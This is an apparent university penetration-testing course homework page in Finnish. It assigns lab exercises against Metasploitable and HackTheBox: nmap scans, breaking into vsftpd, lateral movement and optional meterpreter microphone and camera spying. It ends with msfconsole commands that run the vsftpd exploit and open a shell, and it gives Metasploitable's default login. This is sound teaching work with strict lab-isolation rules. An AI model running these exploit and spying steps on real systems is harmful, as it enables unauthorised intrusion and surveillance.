&lt;p&gt;&lt;a href=&quot;https://terokarvinen.com/2024/eettinen-hakkerointi-2024/&quot;&gt;Tunkeutumistestaus ici005as3a-3001 loppukevät pa2004&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://terokarvinen.com/2023/eettinen-hakkerointi-2023/&quot;&gt;Tunkeutumistestaus ict4tn027-3012 loppusyksy online&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://terokarvinen.com/2023/tunkeutumistestaus-2023-kevat/&quot;&gt;Tunkeutumistestaus ict4tn027-3009&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://terokarvinen.com/2022/tunkeutumistestaus-ict4tn027-3010-syksylla-2022/&quot;&gt;Tunkeutumistestaus ict4tn027-3010 - Syksy 2022&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://terokarvinen.com/2021/penetration-testing-course-2022-spring/&quot;&gt;Tunkeutumistestaus ict4tn027-3007 - 2022p4 late spring&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://terokarvinen.com/2021/penetration-testing-course-2021-autumn/&quot;&gt;Tunkeutumistestaus ict4tn027-3008 - 2021 Autumn&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://terokarvinen.com/2021/hakkerointi-kurssi-tunkeutumistestaus-ict4tn027-3005/&quot;&gt;itc4tn027-3005: Tunkeutumistestaus eli eettinen hakkerointi -kurssi&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://terokarvinen.com/2020/tunkeutumistestaus-kurssi-pentest-course-ict4tn027-3006-autumn-2020/&quot;&gt;Penetration Testing Course 2020 Autumn - Tunkeutumistestaus ict4tn027-3006&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://terokarvinen.com/2020/tunkeutumistestaus-kurssi-pentest-course-ict4tn027-3003/&quot;&gt;Penetration Testing Course 2020 Spring - Tunkeutumistestaus ict4tn027-3003&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://terokarvinen.com/search/?q=tunkeutumistestaus&quot;&gt;Haku &quot;Tunkeutumistestaus&quot;&lt;/a&gt;&lt;/p&gt;
&lt;h2 id=&quot;laksyt&quot;&gt;Läksyt &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/2026/tunkeutumistestaus-ici005as3a-3004-2026p4/#laksyt&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/2026/tunkeutumistestaus-ici005as3a-3004-2026p4/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Palauta linkki Laksuun 24 h ennen seuraavaa lukujärjestykseen merkittyä kurssivarausta. Tehtävät ovat pakollinen ja tärkeä osa kurssia.&lt;/p&gt;
&lt;p&gt;Läksyt ovat virallisia vasta, kun ne on vahvistettu (yleensä oppitunnin päätteeksi). Tämä on edistynyt kurssi, joten ohjelmaan tulee yleensä muutoksia kurssin aikana. Osa tehtävistä edellyttää huolellisuuden lisäksi tietoja ja taitoja työkalujen käytöstä, jottei synny vahinkoja - tee vasta, kun tiedät oikeat työtavat.&lt;/p&gt;
&lt;p&gt;Läksyt käydään läpi seuraavalla tapaamiskerralla, ratkotaan yhdessä ongelmia ja annetaan suullista palautetta. Arvosana kotitehtäväpaketista tulee vasta kurssin lopuksi, mutta tehtävät tulee silti palauttaa aina vuorokautta ennen seuraavia tunteja. Julkaiseminen on vapaaehtoista, mutta erittäin suositeltavaa. Jos et jostain syystä uskalla tai muuten halua julkaista, voit laittaa työn weppisivulle salasanan taakse (kaikille kotitehtäville sama salasana) ja jakaa tämän salasanan kurssilaisten kanssa.  Jos tuntien yhteydessä järjestetään testejä läksyjen aiheista, niiden pisteet sisältyvät arvostelun kohtaan läksyt.&lt;/p&gt;
&lt;p&gt;Läksyt pitää tehdä tietokoneella kokeilemalla ja raportoida tapahtumien kulku, ellei kyseisessä alakohdassa erikseen muuta lue. Raportti tulee kirjoittaa samalla, kun työskentelee.&lt;/p&gt;
&lt;p&gt;Kaikki käytetyt lähteet tulee merkitä raporttiin: kurssin tehtäväsivu, kurssikavereiden raportit, man-sivut, kirjat. Mikäli tekoälyltä kysyy neuvoa, se on merkittävä lähteeksi. Tekoälyt hallusinoivat, tiedot on suositeltavaa tarkistaa. Tiivistelmiä tai esseitä ei saa generoida tekoälyllä eikä muilla vastaavilla tekniikoilla, vaan ne on kirjoitettava itse.&lt;/p&gt;
&lt;p&gt;Tehtäviä saa aloittaa vasta, kun on hyväksynyt kurssin säännöt.&lt;/p&gt;
&lt;h3 id=&quot;h1-kybertappoketju&quot;&gt;h1 Kybertappoketju &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/2026/tunkeutumistestaus-ici005as3a-3004-2026p4/#h1-kybertappoketju&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/2026/tunkeutumistestaus-ici005as3a-3004-2026p4/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Tehtäviä saa aloittaa vasta, kun on hyväksynyt kurssin säännöt. Koneet on eristettävä Internetistä hyökkäysten harjoittelun ajaksi.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Tehtävät ovat virallisia vasta, kun ne on annettu tehtäväksi. Niitä ei tule aloittaa etukäteen, koska niiden sisältö voi vielä muuttua olennaisesti.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Update 2026-03-24 w13 Tue 1530: Lisäsin HTB VPN -vinkit. Merkkasin, että oikeustapausesta riittää vilkaisu.&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;x) Lue/katso/kuuntele ja tiivistä. (Tässä x-alakohdassa ei tarvitse tehdä testejä tietokoneella, vain lukeminen tai kuunteleminen ja tiivistelmä riittää. Tiivistämiseen riittää muutama ranskalainen viiva. Kannataa lisätä kustakin oma huomio, idea tai kysymys.)
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://herrasmieshakkerit.fi/&quot;&gt;Herrasmieshakkerit&lt;/a&gt; (&lt;a href=&quot;https://hakkerit.libsyn.com/rss&quot;&gt;RSS&lt;/a&gt;) tai &lt;a href=&quot;https://darknetdiaries.com/episode/&quot;&gt;Darknet Diaries&lt;/a&gt; (&lt;a href=&quot;https://podcast.darknetdiaries.com/&quot;&gt;RSS&lt;/a&gt;) , yksi vapaavalintainen jakso jommasta kummasta. Voi kuunnella myös lenkillä, pyykiä viikatessa tms. Siisti koti / hyvä kunto kaupan päälle.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://lockheedmartin.com/content/dam/lockheed-martin/rms/documents/cyber/LM-White-Paper-Intel-Driven-Defense.pdf&quot;&gt;Hutchins et al 2011: Intelligence-Driven Computer Network Defense Informed by Analysis of Adversary Campaigns and Intrusion Kill Chains&lt;/a&gt;, chapters &lt;em&gt;Abstract&lt;/em&gt;, 3.2 &lt;em&gt;Intrusion Kill Chain&lt;/em&gt;.&lt;/li&gt;
&lt;li&gt;€ Santos et al: The Art of Hacking (Video Collection): &lt;a href=&quot;https://learning.oreilly.com/videos/the-art-of/9780135767849/9780135767849-SPTT_04_00&quot;&gt;4.3 Surveying Essential Tools for Active Reconnaissance&lt;/a&gt;. Sisältää porttiskannauksen. 5 videota, yhteensä noin 20 min.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://finlex.fi/fi/oikeus/kko/kko/2003/20030036&quot;&gt;KKO 2003:36&lt;/a&gt;. (Vain silmäily, ei tarvitse lukea kokonaan eikä varsinkaan tehdä syvällistä analyysia).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;a) Asenna Kali virtuaalikoneeseen. (Jos asennuksessa ei ole mitään ongelmia tai olet asentanut jo aiemmin, tarkkaa raporttia tästä alakohdasta ei tarvita. Kerro silloin kuitenkin, mikä versio ja millä asennustavalla. Jos on ongelmia, niin tarkka ja toistettava raportti).&lt;/li&gt;
&lt;li&gt;b) Irrota Kali-virtuaalikone verkosta. Todista testein, että kone ei saa yhteyttä Internetiin (esim. &#39;ping 8.8.8.8&#39;)&lt;/li&gt;
&lt;li&gt;c) Porttiskannaa 1000 tavallisinta tcp-porttia omasta koneestasi (nmap -T4 -A localhost). Selitä komennon paramterit. Analysoi ja selitä tulokset.&lt;/li&gt;
&lt;li&gt;d) Asenna kaksi vapaavalintaista demonia ja skannaa uudelleen. Analysoi ja selitä erot.&lt;/li&gt;
&lt;li&gt;e) Ratkaise vapaavalintainen kone HackTheBoxista. Omalle tasolle sopiva, useimmille varmaan Starting Pointista. Valitse kone, jota et ole ratkaissut vielä. Ei tunnilla näytetty Meow. (Propellihatuille: jos teet vaikeampia ei-starting-point koneita, niin retired tai vastaava kone, josta saa julkaista writeupin).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Vinkkejä&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Sivun tekeminen wepiin onnistuu helposti Githubilla. Karvinen 2023: &lt;a href=&quot;https://terokarvinen.com/2023/create-a-web-page-using-github/&quot;&gt;Create a Web Page Using Github&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Podcastien kuunteluun &lt;a href=&quot;https://antennapod.org/&quot;&gt;AntennaPod&lt;/a&gt; löytyy &lt;a href=&quot;https://f-droid.org/en/packages/de.danoeh.antennapod/&quot;&gt;F-Droid:sta&lt;/a&gt; ja Google Play:sta. Tietysti podcasteja voi kuunnella sadoilla muillakin ohjelmilla.&lt;/li&gt;
&lt;li&gt;Halutessasi voit käyttää myös muita virtualisointiympäristöjä kuin VirtualBoxia, esim Macilla UTM tai Linuxilla virt-manager (libvirt, qemu). Tämä edellyttää toki omaa soveltamista.&lt;/li&gt;
&lt;li&gt;Suosittelen Kaliin 4 GB muistia&lt;/li&gt;
&lt;li&gt;OffSec Ltd 2023: &lt;a href=&quot;https://www.kali.org/get-kali/#kali-virtual-machines&quot;&gt;Prebuilt Virtual Machines&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Tutustu tarvittaessa itse etsimiisi lähteisiin, kuten man-sivuihin ja ohjelmien dokumentaatioon.&lt;/li&gt;
&lt;li&gt;HackTheBox:n OpenVPN-yhteyden asennus (ulkomuistista)
&lt;ul&gt;
&lt;li&gt;Oikea HackTheBoxin alue on &quot;Practice hands-on Labs&quot; https://app.hackthebox.com/home (ei Academy)&lt;/li&gt;
&lt;li&gt;Tallenna ruutukaappaus säännöistä ennen aloitusta. HTB oikealla ylhäällä, kysymysmerkin alla.&lt;/li&gt;
&lt;li&gt;Lataa Starting Point foo.ovpn
&lt;ul&gt;
&lt;li&gt;Connect-nappi, HackTheBoxin oikeassa yläreunassa&lt;/li&gt;
&lt;li&gt;Oikealla ylhäällä &quot;Connect&quot;, &quot;Starting point&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Tuo (import) yhteys Network Manager:iin
&lt;ul&gt;
&lt;li&gt;Network manager - Linuxissa ala/yläpalkissa tarjottimella (tray, notification area), naaras ethernet-portin kuva tai koneet haalaavat -ikoni (riippuen versiosta). Tai komentoriviltä &#39;nmcli&#39;.&lt;/li&gt;
&lt;li&gt;VPN Connections: Create. &quot;Import&quot; on alimmaisena, ja valikkoa pitää kelata alaspäin.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;VPN päälle, testaus.
&lt;ul&gt;
&lt;li&gt;VPN päälle löytyy samasta Network Manager -kuvakkeesta.&lt;/li&gt;
&lt;li&gt;&#39;ping 8.8.8.8&#39; - pitäisi toimia (vastata) VPN pois päältä, ja lakata vastaamasta kun laitat VPN päälle.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Muista laittaa lähdeviitteet. Viittaa joka tehtävästä kurssiin ja kaikkiin muihinkin käyttämiisi lähteisiin.&lt;/li&gt;
&lt;li&gt;O&#39;Reilly Learning videot ja kirjat pääset lukemaan ilmaiseksi HH tunnuksilla, kun kirjaudut kirjaston &lt;a href=&quot;https://libguides.haaga-helia.fi/az/databases&quot;&gt;Haaga-Helia A-Z&lt;/a&gt; kautta.&lt;/li&gt;
&lt;li&gt;Kun olet irroittanut Internetin ja valmiina skannaamaan, varmista. Kokeile, että Google tai DuckDuckGo ei aukea selaimella, että et voi pingata esim 8.8.8.8. Kokeile, että maalikoneesi vastaa pingiin. Jos maalikoneella on weppipalvelin, kannattaa katsoa selaimella, että sieltä aukeaa olettamasi sivu.&lt;/li&gt;
&lt;li&gt;Tietoja verkosta
&lt;ul&gt;
&lt;li&gt;ip a; ifconfig&lt;/li&gt;
&lt;li&gt;ip route&lt;/li&gt;
&lt;li&gt;ipcalc 10.0.0.1/24&lt;/li&gt;
&lt;li&gt;ping 8.8.8.8&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Ole huolellinen, irrota harjoituskoneet Internetistä skannausten ja hyökkäysten ajaksi. Mitään ulkopuolisia koneita ei saa skannata eikä mihinkään ulkopuolisiin koneisiin saa tunkeutua.&lt;/li&gt;
&lt;li&gt;Jokin tehtävä voi olla vaikea. Tee ja raportoi silloin kaikki mitä osaat. Listaa lähteet, joista hait ohjeita. Onko jotain vielä kokeiltavana? Mitä haasteita on vielä ratkaisun tiellä? Mitä virheimoituksia tai vastaavia tulee? Voit myös katsoa wepistä esimerkkiratkaisun - muista viitata lähteeseen ja merkitä, missä kohdassa katsoit ratkaisua. Ja katsotaan yhdessä tunnilla loput.&lt;/li&gt;
&lt;li&gt;Ongelmallisista kohdista raportoidaan erityisen tarkasti, jotta voimme antaa vinkkejä haasteisiin.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;h2-dora-the-explora&quot;&gt;h2 DORA the Explora &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/2026/tunkeutumistestaus-ici005as3a-3004-2026p4/#h2-dora-the-explora&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/2026/tunkeutumistestaus-ici005as3a-3004-2026p4/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&lt;em&gt;Can you say TIBER-FI?&lt;/em&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;x) Lue/katso/kuuntele ja tiivistä. (Tässä x-alakohdassa ei tarvitse tehdä testejä tietokoneella, vain lukeminen tai kuunteleminen ja tiivistelmä riittää. Tiivistämiseen riittää muutama ranskalainen viiva. Lisää mukaan jokin oma havainto, idea tai kysymys)
&lt;ul&gt;
&lt;li&gt;Buuri 2026: &lt;a href=&quot;https://terokarvinen.com/buuri-2026-dora-and-threat-lead-penetration-testing/buuri-2026-dora-and-threat-lead-penetration-testing--teros-pentest-course.pdf&quot;&gt;DORA and TLPT testing - Lecture for Haaga-Helia on 31 March 2026&lt;/a&gt; (pdf, 2 MB)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://eur-lex.europa.eu/eli/reg/2022/2554/oj/eng&quot;&gt;DORA (Regulation ... on digital operational resilience for the financial sector)&lt;/a&gt; (vain nämä kaksi artiklaa):
&lt;ul&gt;
&lt;li&gt;Article 26 &quot;Advanced testing of ICT tools, systems and processes based on TLPT&quot;&lt;/li&gt;
&lt;li&gt;Article 27 &quot;Requirements for testers for the carrying out of TLPT&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.suomenpankki.fi/globalassets/bof/en/money-and-payments/the-bank-of-finland-as-catalyst-payments-council/tiber-fi/tiber-fi-2.0-procedures-and-guidelines.pdf&quot;&gt;TIBER-FI procedures and guidelines&lt;/a&gt; (pdf, 1 MB) (vain tämä kohta):
&lt;ul&gt;
&lt;li&gt;5.4 Testing phase: Red team testing (johdantokappale suoraan 5.4 alta, &quot;5.4.1 Red team test plan creation&quot; alkuun asti)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Vapaaehtoinen bonus: Buuri 2026: &lt;a href=&quot;https://youtu.be/z6KIEEknKjM?si=7n8cNWynzMrEwdWZ&quot;&gt;D26 - Releasing Your Inner TIBER in Regulated Adversary Simulations&lt;/a&gt;. Video, 45 min. Disobey 2026.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;a) Asenna Metasploitable 2 virtuaalikoneeseen.&lt;/li&gt;
&lt;li&gt;b) Tee Kalin ja Metasploitablen välille virtuaaliverkko. Jos säätelet VirtualBoxista
&lt;ul&gt;
&lt;li&gt;Kali saa yhteyden Internettiin, mutta sen voi laittaa pois päältä&lt;/li&gt;
&lt;li&gt;Kalin ja Metasploitablen välillä on host-only network, niin että porttiskannatessa ym. koneet on eristetty intenetistä, mutta ne saavat yhteyden toisiinsa&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;c) Harjoittelemme omassa virtuaaliverkossa, jossa on Kali ja Metaspoitable. Osoita testein, että 1) koneet eivät saa yhteyttä Internetiin 2) Koneet saavat yhteyden toisiinsa.&lt;/li&gt;
&lt;li&gt;d) Etsi Metasploitable porttiskannaamalla (nmap -sn). Tarkista selaimella, että löysit oikean IP:n - Metasploitablen weppipalvelimen etusivulla lukee Metasploitable.&lt;/li&gt;
&lt;li&gt;e) Porttiskannaa Metasploitable huolellisesti ja kaikki portit (nmap -A -T4 -p-). Poimi 2-3 hyökkääjälle kiinnostavinta porttia. Analysoi ja selitä tulokset näiden porttien osalta. Voit hakea analyysin tueksi tietoa verkosta, muista merkitä lähteet.&lt;/li&gt;
&lt;li&gt;f) Vapaaehtoinen bonus: Sisään vaan. Pääsetkö murtautumaan Metasploitableen?&lt;/li&gt;
&lt;li&gt;g) Vapaaehtoinen bonus: jos haluat, voit jo kokeilla metasploit-hyökkäysohjelmaa omaan harjoitusmaaliisi. Tätä katsotaan myöhemmin yhdessäkin. (Muista irrottaa kone Internetistä kokeilujen ajaksi. &#39;sudo msfdb init&#39;, &#39;sudo msfconsole&#39;).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Vinkkejä&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Virtuaalikoneiisin voi asentaa uusia verkkokortteja vain, kun ne ovat sammuksissa&lt;/li&gt;
&lt;li&gt;Kannattaa lukea Valkamon artikkelista VirtualBox-osuus ennenkuin ryhdyt asentamaan virtuaalikoneita. Valkamo 2022: &lt;a href=&quot;https://tuomasvalkamo.com/PenTestCourse/week-2/&quot;&gt;Hacking into a Target Using Metasploit&lt;/a&gt;:  Metasploitable&lt;/li&gt;
&lt;li&gt;VirtualBoxissa host-only-networking on kätevä. Voit laittaa Kaliin kaksi verkkokorttia, toinen NAT:lla Internetiin ja toinen host-only-network:n. Verkkoasetusten advanced-kohdasta voi vetää virtuaalisen verkkokaapelin irti ja kiinni, vaikka kone on päällä.&lt;/li&gt;
&lt;li&gt;Jos Metasploitable 2 -maali ei löydy omasta verkosta (arp, arpwatch, netdiscover, nmap -sn...), voit kirjatua sisään (msfadmin:msfadmin) ja &#39;ifconfig&#39; tai &#39;ip addr&#39;. Metasploitable 2:n kannattaa laittaa vain yksi &quot;Host only networking&quot; verkkokortti, se ei toimi itsestään kahden verkkokortin kanssa.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&quot;h3-eternalhomework&quot;&gt;h3 EternalHomework &lt;a class=&quot;anchor&quot; href=&quot;https://terokarvinen.com/2026/tunkeutumistestaus-ici005as3a-3004-2026p4/#h3-eternalhomework&quot; aria-label=&quot;Link to this section&quot;&gt;#&lt;/a&gt; &lt;a class=&quot;top&quot; href=&quot;https://terokarvinen.com/2026/tunkeutumistestaus-ici005as3a-3004-2026p4/#&quot; aria-label=&quot;Back to top&quot;&gt;↑&lt;/a&gt;&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;x) Lue/katso/kuuntele ja tiivistä. (Tässä x-alakohdassa ei tarvitse tehdä testejä tietokoneella, vain lukeminen tai kuunteleminen ja tiivistelmä riittää. Tiivistämiseen riittää muutama ranskalainen viiva.)
&lt;ul&gt;
&lt;li&gt;€ Jaswal 2020: Mastering Metasploit - 4ed: Chapter 1: Approaching a Penetration Test Using Metasploit (kohdasta &lt;a href=&quot;https://learning.oreilly.com/library/view/mastering-metasploit/9781838980078/B15076_01_Final_ASB_ePub.xhtml#_idParaDest-31&quot;&gt;Conducting a penetration test with Metasploit&lt;/a&gt; luvun loppuun eli &quot;Summary&quot; loppuun)&lt;/li&gt;
&lt;li&gt;Mitä &#39;nmap -sn&#39; tekee? Älä arvaa, vaan perustele lähteillä. Mistä tiedät, että käyttämäsi lähde on luotettava?&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;b) Tallenna porttiskannauksen tuloksia Metasploitin tietokantoihin. Skannaa niin, että Metasploitable tulee mukaan. Kannattaa ottaa mukaan ainakin versioskannaus -sV (joka on banner grabbing plus).&lt;/li&gt;
&lt;li&gt;c) Tarkastele Metasploitin tietokantoihin tallennettuja tietoja komennoilla &quot;hosts&quot; ja &quot;services&quot;. Kokeile suodattaa näitä listoja tai hakea niistä.&lt;/li&gt;
&lt;li&gt;d) Internet famous. Etsi Metasploitablen mukana tulevista hyökkäyksistä (en: exploits; search) sellainen, joka on ollut julkisuudessa.&lt;/li&gt;
&lt;li&gt;e) Vertaile nmap:n omaa tiedostoon tallennusta (-oA foo) ja db_nmap:n tallennusta tietokantoihin. Mitkä ovat eri tiedostomuotojen ja Metasploitin tietokannan hyvät puolet?&lt;/li&gt;
&lt;li&gt;f) Murtaudu Metasploitablen vsftpd-palveluun&lt;/li&gt;
&lt;li&gt;g) Kerää levittäytymisessä (lateral movement) tarvittavaa tietoa metasploitablesta. Analysoi tiedot. Selitä, miten niitä voisi hyödyntää.&lt;/li&gt;
&lt;li&gt;h) Murtaudu Metasploitableen jollain toisella tavalla. (Jos tämä kohta on vaikea, voit tarvittaessa turvautua verkosta löytyviin läpikävelyohjeisiin. Merkitse silloin raporttiin, missä määrin tarvitsit niitä).&lt;/li&gt;
&lt;li&gt;i) Demonstroi Meterpretrin ominaisuuksia.&lt;/li&gt;
&lt;li&gt;j) Tallenna shell-sessio tekstitiedostoon script-työkalulla (script -fa log001.txt) tai tmux:lla.&lt;/li&gt;
&lt;li&gt;k) Pivot point. Laita kaikki harjoituksen tiedostot (script -fa, nmap -oA...) samaan kansioon. Hae sopiva pivot point (sovellus, versio, osoite, MAC-numero) &#39;grep -r&#39; -komennolla. Keksi uskottava esimerkkikysymys, johon haet vastausta.&lt;/li&gt;
&lt;li&gt;l) Attaaack! Mitä Mitre Attack taktiikoita ja tekniikoita käytit tässä harjoituksessa? (Tässä alakohdassa &quot;Attaack!&quot; ei tarvitse tehdä lisää testejä koneella, koska testit on jo tehty.)&lt;/li&gt;
&lt;li&gt;m) Vapaaehtoinen: Etsi esimerkki Mitre Attack proseduurista (procedure), jossa joku uhkatoimija on käyttänyt samoja tekniikoita.&lt;/li&gt;
&lt;li&gt;n) Vapaaehtoinen: Titityy. Saatko Metasploitableen tty-shellin, eli esimerkiksi avattua koko ruudulle piirtävän nano:n?&lt;/li&gt;
&lt;li&gt;o) Vapaaehtoinen, vaikea: Kokeile jotain kilpailevaa hyökkäystyökalua tai vihamielistä etäkäyttötyökalua, kuten &lt;a href=&quot;https://sliver.sh/&quot;&gt;Sliver&lt;/a&gt; tai Scarecrow.&lt;/li&gt;
&lt;li&gt;p) Vapaaehtoinen: Asenna ja korkkaa Metasploitable 3. Karvinen 2018: &lt;a href=&quot;https://terokarvinen.com/2018/install-metasploitable-3-vulnerable-target-computer/&quot;&gt;Install Metasploitable 3 – Vulnerable Target Computer&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;q) Vapaaehtoinen: Peekaboo. Demonstroi, kuinka hyökkääjä vakoilee meterpreterillä. Kuuntele mikrofonilla, ota kuvia tai videota kameralla. (Huolehdi, ettei ulkopuolisia joudu kuunnelluksi tai katselluksi.)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Vinkkejä&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;O&#39;Reilly Learning videot ja kirjat pääset lukemaan ilmaiseksi HH tunnuksilla, kun kirjaudut kirjaston kautta.&lt;/li&gt;
&lt;li&gt;Jos Metasploitable 2 -maali ei löydy omasta verkosta (arp, arpwatch, netdiscover, nmap -sn...), voit kirjatua sisään (msfadmin:msfadmin) ja &#39;ifconfig&#39; tai &#39;ip addr&#39;. Metasploitable 2:n kannattaa laittaa vain yksi &quot;Host only networking&quot; verkkokortti, se ei toimi itsestään kahden verkkokortin kanssa.&lt;/li&gt;
&lt;li&gt;Murtautumiseen Metasploitable 2:n löytyy esimerkkiratkaisuja &lt;a href=&quot;https://docs.rapid7.com/metasploit/metasploitable-2-exploitability-guide&quot;&gt;Metasploitable 2 Exploitability Guide&lt;/a&gt;. Tämä on läpikävelyohje, joten kannattaa yrittää ensin itse.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://attack.mitre.org/&quot;&gt;Mitre Attack Enterprise Matrix&lt;/a&gt;
&lt;ul&gt;
&lt;li&gt;Tactic, välitavoitteita, esim. &lt;a href=&quot;https://attack.mitre.org/tactics/TA0003/&quot;&gt;TA0003 Persistence&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Techique, keinoja, esim. &lt;a href=&quot;https://attack.mitre.org/techniques/T1189/&quot;&gt;T1189 Drive-by Compromise&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://attack.mitre.org/resources/faq/&quot;&gt;Mitre FAQ&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;grep -ir
&lt;ul&gt;
&lt;li&gt;grep -ir -C 3 --color=always terokarvinen.com|less -R&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;MsfConsole vinkit (ulkomuistista)&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Tässä siis ulkomuistista, voit etsiä näistä lisätietoa ja oikean kirjoitusasun.&lt;/p&gt;
&lt;pre class=&quot;highlight&quot;&gt;&lt;code class=&quot;language-linuxcli&quot;&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;sudo&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; msfdb init&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;hl-prompt&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;hl-source hl-shell hl-bash&quot;&gt;&lt;span class=&quot;hl-meta hl-function-call hl-shell&quot;&gt;&lt;span class=&quot;hl-variable hl-function hl-shell&quot;&gt;sudo&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;hl-meta hl-function-call hl-arguments hl-shell&quot;&gt; msfconsole&lt;/span&gt;
&lt;/span&gt;&lt;span class=&quot;hl-output&quot;&gt;msf&amp;gt; db_nmap localhost&lt;/span&gt;

&lt;span class=&quot;hl-output&quot;&gt;msf&amp;gt; services&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;msf&amp;gt; hosts&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;msf&amp;gt; &lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;msf&amp;gt; workspaces &lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;msf&amp;gt; sessions&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;msf&amp;gt; sessions --help&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;msf&amp;gt; &lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;msf&amp;gt; search vsftpd&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;msf&amp;gt; use 0&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;msf&amp;gt; setg RHOSTS 127.0.0.1	# huolellisesti, tähän hyökätään kohta&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;msf&amp;gt; &lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;msf&amp;gt; show options&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;msf&amp;gt; exploit&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;msf&amp;gt; &lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;msf&amp;gt; sessions 1&lt;/span&gt;

&lt;span class=&quot;hl-output&quot;&gt;shell&lt;/span&gt;
&lt;span class=&quot;hl-output&quot;&gt;ctrl-Z &lt;/span&gt;

&lt;span class=&quot;hl-output&quot;&gt;msf&amp;gt; session -u 1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;
